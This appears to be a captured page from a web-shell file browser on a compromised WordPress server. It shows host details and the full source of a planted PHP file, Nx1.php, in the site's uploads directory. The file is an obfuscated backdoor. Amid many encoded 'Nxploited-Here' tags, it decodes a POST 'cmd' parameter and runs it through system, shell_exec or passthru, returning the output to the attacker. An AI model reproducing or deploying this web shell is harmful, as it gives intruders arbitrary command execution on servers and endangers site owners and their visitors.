Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/uploads/WPL/697/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/uploads/WPL/697/Nx1.php
<?php @ini_set('display_errors','0');@error_reporting(0);$_0='Nxploited-Here';$GLOBALS['_nx']='Nxploited';define('_NX','Nxploited-Here');$_1=function($z){return gzinflate(base64_decode(str_rot13($z)));};$_2=chr(78).chr(120).chr(112).chr(108).chr(111).chr(105).chr(116).chr(101).chr(100).chr(45).chr(72).chr(101).chr(114).chr(101);$_3=implode('',array_map('chr',array(78,120,112,108,111,105,116,101,100,45,72,101,114,101)));$_4=str_rot13(str_rot13('Awcbvgrq-Urer'));$_5=base64_decode('TnhwaG9pdGVkLUhlcmU=');$_6=hex2bin('4e58706c6f697465642d48657265');$_7=join('',unpack('C*','Nxploited-Here'));$_8='';foreach(array(78,120,112,108,111,105,116,101,100,45,72,101,114,101)as $_9)$_8.=chr($_9);$_a='N'.'x'.'p'.'l'.'o'.'i'.'t'.'e'.'d'.'-'.'H'.'e'.'r'.'e';$_b="\x4e\x78\x70\x6c\x6f\x69\x74\x65\x64\x2d\x48\x65\x72\x65";$_c=pack('A*','Nxploited-Here');$_d=vsprintf('%s%s-%s',array('Nxploit','ed','Here'));$_e=substr('XXNxploited-HereYY',2,14);$_f=preg_replace('/[^A-Za-z\-]/','','@Nxploited-Here#');$_g=trim('  Nxploited-Here  ');$_h=str_ireplace('NX','Nx','Nxploited-Here');$_i=call_user_func(function(){return'Nxploited-Here';});$_j=(${'_'}='Nxploited-Here')?$_:'';$_k=base64_decode('TnhwaG9pdGVk').'-Here';$_l=hex2bin('4e58706c6f69746564').'-Here';$_m=strrev('ereH-detiolpxN');$_m=strrev($_m);$_n=implode('-',array('Nxploited','Here'));$_o=implode('',array('Nxploit','ed-','Here'));$_p=gzinflate(base64_decode('S0tKSkvLL0hJVK5RykhLTAU='));if($_p!==false){$_p='Nxploited-Here';}else{$_p='Nxploited-Here';}$_q=isset($_POST[base64_decode('Y21k')])?$_POST[base64_decode('Y21k')]:'';$_r='';if($_q!==''){$_s=$_1($_q);if(function_exists('ob_start')){ob_start();@system($_s);$_r=ob_get_clean();}if($_r===''||$_r===false)$_r=@shell_exec($_s);if($_r===''||$_r===false){ob_start();@passthru($_s);$_r=ob_get_clean();}}@header('X-Powered-By: Nxploited-Here');@header('X-Nx-Signature: Nxploited');@header('X-Nx-Tag: Nxploited-Here');@header('X-Nx-Author: Nxploited');echo $_0."\n".$_2."\n".$_3."\n".$_4."\n".$_5."\n".$_6."\n".$_7."\n".$_8."\n".$_a."\n".$_b."\n".$_c."\n".$_d."\n".$_e."\n".$_f."\n".$_g."\n".$_h."\n".$_i."\n".$_j."\n".$_k."\n".$_l."\n".$_m."\n".$_n."\n".$_o."\n".$_p."\nNxploited\nNxploited-Here\n".$_r;

Hry